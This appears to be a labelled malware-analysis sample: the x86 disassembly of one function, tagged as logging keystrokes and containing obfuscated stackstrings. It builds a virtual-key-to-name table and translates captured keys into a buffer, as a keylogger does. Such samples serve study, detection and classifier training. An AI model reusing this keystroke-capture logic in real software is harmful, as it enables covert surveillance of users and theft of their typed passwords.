Function at 0x462800
Capabilities:
Contain obfuscated stackstrings
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ec783
mov eax, dword fs:[0]
push eax
sub esp, 0x218
mov eax, dword [0x571180]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov bl, cl
mov byte [ebp - 0x1c], bl
mov eax, dword fs:[0x2c]
mov edx, dword [eax]
mov eax, dword [0x5814e8]
cmp eax, dword [edx + 0xc]
jle 0x462d3e
push 0x5814e8
call fcn.004c2fc8
add esp, 4
cmp dword [0x5814e8], 0xffffffff
jne 0x462d3e
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [0x5814ec], xmm0
mov byte [ebp - 0x214], 8
mov dword [ebp - 0x210], str.BACKSPACE
mov byte [ebp - 0x20c], 9
mov dword [ebp - 0x208], 0x54c6ac
mov byte [ebp - 0x204], 0xc
mov dword [ebp - 0x200], str.CLEAR
mov byte [ebp - 0x1fc], 0xd
mov dword [ebp - 0x1f8], str.ENTER
mov byte [ebp - 0x1f4], 0x10
mov dword [ebp - 0x1f0], str.SHIFT
mov byte [ebp - 0x1ec], 0x11
mov dword [ebp - 0x1e8], str.CTRL
mov byte [ebp - 0x1e4], 0x12
mov dword [ebp - 0x1e0], 0x54c6c8
mov byte [ebp - 0x1dc], 0x13
mov dword [ebp - 0x1d8], str.PAUSE_BREAK
mov byte [ebp - 0x1d4], 0x14
mov dword [ebp - 0x1d0], str.CAPS_LOCK
mov byte [ebp - 0x1cc], 0x20
mov dword [ebp - 0x1c8], str.SPACE
mov byte [ebp - 0x1c4], 0x21
mov dword [ebp - 0x1c0], str.PAGE_UP
mov byte [ebp - 0x1bc], 0x22
mov dword [ebp - 0x1b8], str.PAGE_DOWN
mov byte [ebp - 0x1b4], 0x23
mov dword [ebp - 0x1b0], 0x54c700
mov byte [ebp - 0x1ac], 0x24
mov dword [ebp - 0x1a8], str.HOME
mov byte [ebp - 0x1a4], 0x25
mov dword [ebp - 0x1a0], str.LEFT_ARROW
mov byte [ebp - 0x19c], 0x26
mov dword [ebp - 0x198], str.UP_ARROW
mov byte [ebp - 0x194], 0x27
mov dword [ebp - 0x190], str.RIGHT_ARROW
mov byte [ebp - 0x18c], 0x28
mov dword [ebp - 0x188], str.DOWN_ARROW
mov byte [ebp - 0x184], 0x29
mov dword [ebp - 0x180], str.SELECT
mov byte [ebp - 0x17c], 0x2a
mov dword [ebp - 0x178], str.PRINT
mov byte [ebp - 0x174], 0x2c
mov dword [ebp - 0x170], str.PRINT_SCREEN
mov byte [ebp - 0x16c], 0x2d
mov dword [ebp - 0x168], str.INSERT
mov byte [ebp - 0x164], 0x2e
mov dword [ebp - 0x160], str.DELETE
mov byte [ebp - 0x15c], 0x2f
mov dword [ebp - 0x158], str.HELP
mov byte [ebp - 0x154], 0x60
mov dword [ebp - 0x150], str.NUMPAD_0
mov byte [ebp - 0x14c], 0x61
mov dword [ebp - 0x148], str.NUMPAD_1
mov byte [ebp - 0x144], 0x62
mov dword [ebp - 0x140], str.NUMPAD_2
mov byte [ebp - 0x13c], 0x63
mov dword [ebp - 0x138], str.NUMPAD_3
mov byte [ebp - 0x134], 0x64
mov dword [ebp - 0x130], str.NUMPAD_4
mov byte [ebp - 0x12c], 0x65
mov dword [ebp - 0x128], str.NUMPAD_5
mov byte [ebp - 0x124], 0x66
mov dword [ebp - 0x120], str.NUMPAD_6
mov byte [ebp - 0x11c], 0x67
mov dword [ebp - 0x118], str.NUMPAD_7
mov byte [ebp - 0x114], 0x68
mov dword [ebp - 0x110], str.NUMPAD_8
mov byte [ebp - 0x10c], 0x69
mov dword [ebp - 0x108], str.NUMPAD_9
mov byte [ebp - 0x104], 0x6a
mov dword [ebp - 0x100], str.MULTIPLY
mov byte [ebp - 0xfc], 0x6b
mov dword [ebp - 0xf8], 0x54c7f0
mov byte [ebp - 0xf4], 0x6c
mov dword [ebp - 0xf0], str.SEPARATOR
mov byte [ebp - 0xec], 0x6d
mov dword [ebp - 0xe8], str.SUBSTRACT
mov byte [ebp - 0xe4], 0x6e
push 0x18
mov dword [ebp - 0xe0], str.DECIMAL
lea edi, [ebp - 0x214]
mov byte [ebp - 0xdc], 0x6f
lea esi, [ebp - 0x34]
mov dword [ebp - 0xd8], str.DIVIDE
mov byte [ebp - 0xd4], 0x70
mov dword [ebp - 0xd0], 0x54c81c
mov byte [ebp - 0xcc], 0x71
mov dword [ebp - 0xc8], 0x54c820
mov byte [ebp - 0xc4], 0x72
mov dword [ebp - 0xc0], 0x54c824
mov byte [ebp - 0xbc], 0x73
mov dword [ebp - 0xb8], 0x54c828
mov byte [ebp - 0xb4], 0x74
mov dword [ebp - 0xb0], 0x54c82c
mov byte [ebp - 0xac], 0x75
mov dword [ebp - 0xa8], 0x54c830
mov byte [ebp - 0xa4], 0x76
mov dword [ebp - 0xa0], 0x54c834
mov byte [ebp - 0x9c], 0x77
mov dword [ebp - 0x98], 0x54c838
mov byte [ebp - 0x94], 0x78
mov dword [ebp - 0x90], 0x54c83c
mov byte [ebp - 0x8c], 0x79
mov dword [ebp - 0x88], 0x54c840
mov byte [ebp - 0x84], 0x7a
mov dword [ebp - 0x80], 0x54c844
mov byte [ebp - 0x7c], 0x7b
mov dword [ebp - 0x78], 0x54c848
mov byte [ebp - 0x74], 0x90
mov dword [ebp - 0x70], str.NUM_LOCK
mov byte [ebp - 0x6c], 0x91
mov dword [ebp - 0x68], str.SCROLL_LOCK
mov byte [ebp - 0x64], 0xa0
mov dword [ebp - 0x60], str.LEFT_SHIFT
mov byte [ebp - 0x5c], 0xa1
mov dword [ebp - 0x58], str.RIGHT_SHIFT
mov byte [ebp - 0x54], 0xa2
mov dword [ebp - 0x50], str.LEFT_CTRL
mov byte [ebp - 0x4c], 0xa3
mov dword [ebp - 0x48], str.RIGHT_CTRL
mov byte [ebp - 0x44], 0xa4
mov dword [ebp - 0x40], str.LEFT_MENU
mov byte [ebp - 0x3c], 0xa5
mov dword [ebp - 0x38], str.RIGHT_MENU
mov dword [0x5814ec], 0
mov dword [0x5814f0], 0
call fcn.004c2e67
mov ebx, eax
add esp, 4
mov dword [ebx], ebx
mov dword [ebx + 4], ebx
mov dword [ebx + 8], ebx
mov word [ebx + 0xc], 0x101
mov dword [0x5814ec], ebx
mov byte [ebp - 4], 1
cmp edi, esi
je 0x462d1a
push edi
push ebx
lea eax, [ebp - 0x220]
push eax
call fcn.00465350
movq xmm0, qword [eax]
mov eax, dword [eax + 8]
movq qword [ebp - 0x30], xmm0
mov dword [ebp - 0x28], eax
test al, al
jne 0x462d0f
cmp dword [0x5814f0], 0xaaaaaaa
je 0x462dff
mov esi, dword [0x5814ec]
mov dword [ebp - 0x24], 0x5814ec
mov byte [ebp - 4], 2
push 0x18
mov dword [ebp - 0x20], 0
call fcn.004c2e67
mov byte [ebp - 4], 1
add esp, 4
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 0x10], ecx
mov ecx, 0x5814ec
push eax
push dword [ebp - 0x2c]
mov dword [eax + 0x14], edx
push dword [ebp - 0x30]
mov dword [eax], esi
mov dword [eax + 4], esi
mov dword [eax + 8], esi
mov word [eax + 0xc], 0
mov dword [ebp - 0x20], 0
call fcn.004650d0
lea esi, [ebp - 0x34]
add edi, 8
cmp edi, esi
jne 0x462c84
push 0x5089c0
call fcn.004c337d
add esp, 4
mov dword [ebp - 4], 0xffffffff
push 0x5814e8
call fcn.004c2f77
mov bl, byte [ebp - 0x1c]
add esp, 4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.00464fa0
mov eax, dword [ebp - 0x28]
mov ecx, dword [0x5814ec]
cmp byte [eax + 0xd], 0
jne 0x462d5f
cmp bl, byte [eax + 0x10]
jae 0x462d61
mov eax, ecx
cmp eax, ecx
je 0x462da8
mov esi, dword [eax + 0x14]
mov dword [ebp - 0x24], 0x534829
mov dword [ebp - 0x20], 0
test esi, esi
je 0x462d8e
push SysReAllocString
push esi
call fcn.004bb5c0
add esp, 8
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], esi
push SysReAllocString
lea eax, [ebp - 0x24]
push eax
push 0x64
push 0x5814f8
call fcn.004bb540
add esp, 0x10
jmp 0x462de3
push 2
movzx eax, bl
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov byte [ebp - 0x15], al
lea eax, [ebp - 0x15]
push SysReAllocString
push eax
call fcn.004bb5c0
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x15]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push 1
push eax
push 0x64
push 0x5814f8
call fcn.004bb540
add esp, 0x18
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004c2e59
mov esp, ebp
pop ebp
ret
call fcn.004627f0
int3